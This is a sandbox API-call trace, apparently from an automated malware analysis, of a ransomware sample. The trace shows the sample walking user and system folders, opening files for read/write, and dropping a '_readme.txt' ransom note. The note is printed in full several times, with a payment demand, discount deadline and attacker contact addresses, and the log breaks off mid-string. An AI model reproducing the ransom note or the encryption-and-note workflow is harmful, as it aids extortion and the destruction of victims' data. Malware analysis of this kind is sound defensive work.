PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.803] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.803] PathFindFileNameW (pszPath="") returned="" [0119.803] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.805] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.806] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.806] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\") returned="3RmBDGRm1\\" [0119.806] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0119.806] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.806] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.806] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.806] PathFindFileNameW (pszPath="") returned="" [0119.806] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x108d5720, ftCreationTime.dwHighDateTime=0x1d4d508, ftLastAccessTime.dwLowDateTime=0x6ef280c0, ftLastAccessTime.dwHighDateTime=0x1d4d35e, ftLastWriteTime.dwLowDateTime=0x6ef280c0, ftLastWriteTime.dwHighDateTime=0x1d4d35e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.808] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.809] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.809] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\") returned="C1rxOBMk76mToWuy0Nfm\\" [0119.809] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0119.809] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.809] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.809] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.809] PathFindFileNameW (pszPath="") returned="" [0119.809] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ad56a30, ftCreationTime.dwHighDateTime=0x1d4d06c, ftLastAccessTime.dwLowDateTime=0xc9503110, ftLastAccessTime.dwHighDateTime=0x1d4ccc0, ftLastWriteTime.dwLowDateTime=0xc9503110, ftLastWriteTime.dwHighDateTime=0x1d4ccc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.811] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.812] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.812] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\") returned="jDCuGCvpf1uArI\\" [0119.812] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0119.812] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.812] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.812] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.812] PathFindFileNameW (pszPath="") returned="" [0119.812] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b87c360, ftCreationTime.dwHighDateTime=0x1d4d377, ftLastAccessTime.dwLowDateTime=0x7cf8d6d0, ftLastAccessTime.dwHighDateTime=0x1d4d118, ftLastWriteTime.dwLowDateTime=0x7cf8d6d0, ftLastWriteTime.dwHighDateTime=0x1d4d118, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.814] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.815] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.815] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TtcUW\\") returned="TtcUW\\" [0119.815] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0119.815] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.815] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.815] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.815] PathFindFileNameW (pszPath="") returned="" [0119.815] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TtcUW\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1acb2180, ftCreationTime.dwHighDateTime=0x1d4c753, ftLastAccessTime.dwLowDateTime=0xaad9ca0, ftLastAccessTime.dwHighDateTime=0x1d4c817, ftLastWriteTime.dwLowDateTime=0xaad9ca0, ftLastWriteTime.dwHighDateTime=0x1d4c817, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.816] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.816] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.816] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VAl2x_eF9QxFAJr5rV\\") returned="VAl2x_eF9QxFAJr5rV\\" [0119.816] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0119.816] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.816] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.816] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.816] PathFindFileNameW (pszPath="") returned="" [0119.817] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VAl2x_eF9QxFAJr5rV\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a363ce0, ftCreationTime.dwHighDateTime=0x1d4d109, ftLastAccessTime.dwLowDateTime=0x57c095a0, ftLastAccessTime.dwHighDateTime=0x1d4d49d, ftLastWriteTime.dwLowDateTime=0x57c095a0, ftLastWriteTime.dwHighDateTime=0x1d4d49d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.819] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.819] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.819] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.819] PathFindFileNameW (pszPath="") returned="" [0119.819] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.820] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.820] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.820] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.820] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0119.820] PathFileExistsW (pszPath="C:\\_readme.txt") returned 1 [0119.820] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x3008f60 [0119.821] PathFindExtensionW (pszPath="C:\\bootmgr") returned="" [0119.821] PathFindExtensionW (pszPath="C:\\BOOTSECT.BAK") returned=".BAK" [0119.821] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.822] PathFindExtensionW (pszPath="C:\\hiberfil.sys") returned=".sys" [0119.822] PathFindExtensionW (pszPath="C:\\pagefile.sys") returned=".sys" [0119.822] PathFindExtensionW (pszPath="C:\\_readme.txt") returned=".txt" [0119.822] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.822] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.822] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.822] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.822] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.822] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.822] PathFindFileNameW (pszPath="") returned="" [0119.822] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.823] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.823] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3093da8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.823] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.823] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0119.823] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 0 [0119.823] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.823] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.823] CreateFileW (lpFileName="C:\\Boot\\_readme.txt" (normalized: "c:\\boot\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.824] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.824] PathFindExtensionW (pszPath="C:\\Boot\\BCD") returned="" [0119.824] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG") returned=".LOG" [0119.824] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.824] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG1") returned=".LOG1" [0119.824] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.824] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG2") returned=".LOG2" [0119.824] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.824] PathFindExtensionW (pszPath="C:\\Boot\\BOOTSTAT.DAT") returned=".DAT" [0119.824] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.824] PathFindExtensionW (pszPath="C:\\Boot\\memtest.exe") returned=".exe" [0119.824] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.825] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.825] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.825] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.825] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0119.825] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.825] PathFindFileNameW (pszPath="") returned="" [0119.825] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.825] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.825] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.825] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.825] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0119.825] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0119.826] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.826] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal 